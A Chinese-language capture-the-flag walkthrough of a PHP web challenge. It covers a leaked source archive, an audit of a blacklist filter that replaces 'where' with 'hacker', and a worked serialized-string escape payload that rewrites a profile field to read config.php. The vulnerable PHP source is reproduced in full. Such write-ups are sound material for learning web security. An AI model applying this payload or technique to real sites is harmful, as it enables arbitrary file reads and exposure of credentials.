1.进入网站首页
登录框页面,思路
弱密码-->SQL注入-->寻找注册接口等敏感信息(FindSomething、全局搜索关键字、dirsearch)-->测试逻辑漏洞..
经过dirsearch扫描尝试发现存在源码泄露www.zip,解压到本地
2.源码审计
通读源码,梳理业务流程
注册登录填写资料界面update.php后,用户输入数据会组成数组,然后序列化
序列化的数据通过filter后传入数据库
访问个人主页profile.php,反序列化, file_get_contents($profile['photo'])
寻找可控输入点,构造payload
flag在config.php中,如果能修改file_get_contents('config.php')就能拿到flag
在class.php里面,发现filter函数会将'select', 'insert', 'update', 'delete', 'where'替换成'hacker',其中where字符串长度与hacker不一致,通过写入where,序列化声明长度为5,被filter替换成hacker后,实际长度为6,实际长度>声明长度。我们可以通过控制where数量实现字符增多型逃逸。
我们希望解析器在读取 nickname 时,提前遇到闭合引号,然后把后面的内容解析成新的 photo字段,构造要注入的序列化片段
";}s:5:"photo";s:10:"config.php";}
计算这个片段的长度 l=34字节
计算where数量,我们需要让实际字符串中,在读取完声明长度 后,下一个字符恰好是我们注入的 "
设输入 payload由K个where和注入片段l组成
声明长度L1=5K+l,真实长度L2=L1+K
我们希望实际字符串中,第 L1 + 1 个字符是那个 ",在实际字符串中," 的位置 = 前面 K 个 hacker 的长度 + 1 = 6K + 1。
6K + 1 = L 1+ 1 = 5K +l+1 K = l =34
完整payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
反序列化读取声明长度后刚好到“结束,;语法分隔,}关闭 nickname 子数组,s:5:"photo";s:10:"config.php";外层重写 photo,}关闭整个 profile 大数组
hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}
//config.php //发现全局变量flag <?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = ''; ?> //class.php <?php require('config.php'); //user类:用户业务类,继承mysql类,实现用户注册、登录、查改资料 class user extends mysql{ private $table = 'users'; //检测用户名是否被占用 public function is_exists($username) { $username = parent::filter($username); $where = "username = '$username'"; return parent::select($this->table, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; } } //mysql类:数据库底层操作类,封装连接、增删改查、自定义输入过滤 class mysql { private $link = null; //接收数据库配置数组,连接mysql,选择数据库,设置SQL模式为严格模式,返回连接 public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); return $this->link; } //执行查询 public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); } //新增数据 public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } //拼接 UPDATE 语句,更新指定字段值,根据 where 条件过滤,返回执行结果布尔值 public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } //自定义过滤函数 public function filter($string) { //过滤匹配‘和\,替换成_ $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); //黑名单,不区分大小写,替换成hacker $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; } } session_start(); $user = new user(); $user->connect($config); //profile.php <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } /* 高危函数unserialize,如果可控序列化字符串,会触发PHP反序列化漏洞,数据库profile字段来自update_profile(),用户可控;$profile['photo']的内容用户可控(来自反序列化后的数组key),可控制photo值为任意文件路径,实现任意文件读取 */ else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?> //update.php <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { //手机号校验,必须是11位数字 $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); //邮箱校验,只能大小写字母、数字、下划线;有 @、点,各部分长度限制 if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); //昵称校验,只能大小写字母、数字、下划线,最大长度10个字符 if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); //图片校验,限制文件大小:5 字节~1MB,超出报错 $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); //文件保存到upload目录,文件名=原文件名的md5值 move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); //把整个profile数组serialize()序列化,作为第二个参数传给update_profile $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?>3.执行步骤
注册
登录
填写个人信息
BP抓包修改信息
进入个人主页
查看网页源代码发现base64编码的config.php
使用cyberchef解密得到flag